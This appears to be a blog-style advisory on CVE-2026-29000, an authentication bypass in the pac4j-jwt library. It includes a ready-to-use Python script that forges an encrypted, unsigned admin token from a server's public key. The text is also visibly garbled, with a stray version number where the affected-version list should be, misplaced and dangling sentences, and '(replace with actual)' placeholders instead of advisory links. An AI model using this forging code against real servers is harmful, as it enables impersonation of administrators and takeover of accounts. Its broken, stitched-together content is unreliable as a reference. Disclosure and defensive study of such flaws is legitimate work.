A recently disclosed vulnerability, CVE-2026-29000, has sent ripples through the security community. It affects the pac4j-jwt library—commonly used for JSON Web Token (JWT) authentication in Java applications. Vulnerable versions allow attackers to generate forged tokens and authenticate as any user, including admins, using only the server’s RSA public key. This simple bypass undermines entire authentication systems.

Let's break down what happened, how the exploit works, show code samples, and discuss ways to fix it.

6.3.3

If your project uses pac4j-jwt and you haven't upgraded past these versions, your application may be at risk.

How JWT Authentication Works

Normally, JWTs signed by the server act as "proof" the content is genuine.
The server signs the JWT with its private key; only someone with that private key can make a valid token. The server (and anyone with the corresponding public key) can verify the signature.

Some sites use JWT encryption (JWE) for extra confidentiality. Here’s where the problem starts.

The Flaw: JWT Encryption Mix-Up

The vulnerability is in how the JwtAuthenticator in pac4j-jwt handles *encrypted* tokens (JWE). Attacks became possible when the server was configured with both an RSA public and private key, and accepted encrypted JWTs (JWEs) as well as signed ones (JWS).

What’s wrong?

Send this to the server.

- The vulnerable JwtAuthenticator decrypts the token, and does not enforce signature verification if the inner JWT is of type "PlainJWT".

In other words:

Exploit Scenario Breakdown

Let’s imagine Alice discovers the server’s RSA public key (many apps share this openly for JWT validation). She can then create a token that says:

Her role is “superuser”

Then, she encrypts this plain JWT with the server’s RSA public key, and submits it to the vulnerable server—bypassing all standard authentication.

Proof of Concept

Here’s a simplified example using Python and the pyjwt and jwcrypto libraries, but similar logic applies in any language.

from jwcrypto import jwt, jwk
import json

# Replace this with the server's real RSA public key in PEM format
public_key_pem = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9wBAQEFAAOCAQ8AMIIBCgKCAQEAvWxl/U6mZnN...
-----END PUBLIC KEY-----'''

# Load public RSA key
public_key = jwk.JWK.from_pem(public_key_pem.encode())

# Create an unsigned JWT with arbitrary claims
claims = {
    "sub": "admin",
    "role": "superuser",
    "email": "alice@example.com"
}

# Insecure: create an unsecured JWT (alg='none')
unsecured_token = jwt.JWT(header={"alg": "none"}, claims=claims)

# Encrypt the unsigned JWT as a JWE using the server's public key
jwe_token = jwt.JWT(
    header={"alg": "RSA-OAEP", "enc": "A256GCM"},
    claims=unsecured_token.serialize()
)
jwe_token.make_encrypted_token(public_key)

# This is the forged token you can send to the vulnerable server
forged_token = jwe_token.serialize()
print("Forged JWE Token:", forged_token)

Just replace public_key_pem with the server's actual public key.
The final token in forged_token will authenticate you as “admin” on any vulnerable setup.

CVEs:

- CVE-2026-29000 (NVD)

Vendor Advisory:

- pac4j Security Advisory *(replace with actual)*
- Patch / Fix PR:
- GitHub PR Fix *(replace with actual)*

Check configuration:

Review your JwtAuthenticator/JwtConfig settings! Disable JWE if not needed, or add logic to prevent PlainJWT acceptance.

Conclusion

This oversight in pac4j-jwt’s JwtAuthenticator is both easy to exploit and devastating. In modern microservice and API deployments, leaks like this can result in instant full privilege escalation. It’s a perfect example of why cryptography must be used with extreme care—encryption does *not* make unsigned tokens trustworthy.

Further Reading

- JWT Best Practices
- pac4j GitHub
- JWT.io Introduction


*Stay safe! If you have questions about the vulnerability, affected code, or mitigation, comment below or contact your security team.*

Timeline

Published on: 03/04/2026 21:49:29 UTC
Last modified on: 03/05/2026 19:38:53 UTC